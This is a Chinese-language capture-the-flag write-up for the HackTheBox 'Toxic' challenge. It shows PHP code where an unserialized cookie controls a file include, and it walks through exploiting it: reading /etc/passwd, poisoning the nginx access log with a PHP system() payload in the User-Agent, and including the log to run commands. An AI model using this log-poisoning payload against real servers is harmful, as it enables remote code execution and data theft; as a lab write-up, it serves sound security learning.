Toxic
这是一个PHP的LFI
代码量很小
index.php
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
PageModel.php
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
分析可知$_COOKIE['PHPSESSID']
是一个可控输入存在利用
的可能。
然后看hackthebox-Toxic writeup就好了。
这里文件包含
-
包含上传的shell
-
将恶意代码写入已存在的文件并包含
其中第一种自然是需要上传或者创建并具有读写文件的权限。
而这题并没有这样的条件,所以思路来到第二个。
根据wp从/etc/passwd
发现有NGINX用户。所以想到可以查看一些NGINX的敏感文件,例如/var/log/nginx/access.log
是NGINX 的日志文件,通过文件包含查看,发现会记录User-Agent属性,而User-Agent是可以任意修改的,那么就可以将恶意代码通过User-Agent写入该日志文件
185.14.47.108 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
185.14.47.108 - 200 "GET /static/css/production.css HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
185.14.47.108 - 200 "GET /static/js/production.js HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
185.14.47.108 - 200 "GET /static/images/ryan4.png HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
接下来的内容不难理解按照上面的wp学习就好了。
不过其实不需要ls /
查看flag
cat /flag*
完全就可以
将<?php system('cat /flag*');?>
写入,然后包含一下就🆗了。
然后我试着写入<?php system("cat /flag*");?>
发现不能执行。在HTB服务器询问得到的回答是可能存在一些字符过滤。
所以这里又给了我一个启示,一些理应发生的而没有发生,其原因可能是存在防御行为而不是自身对代码理解不够。
所以再遇到这种情况要意识到可能是因为防御规则而导致的,因为你往往是无法得知具体的防御规则也就无法得解且得解后也毫无意义,因为这与你是否具有知识没有多大的关系。
第二天早上起来实验了一下,发现确实如此,因为双引号"
被转义成了/x22
这回的User-Agent写为"1111111"
查看log文件
223.100.197.26 - 200 "GET / HTTP/1.1" "-" "\x221111111\x22"
这就是双引号"
失败的原因了。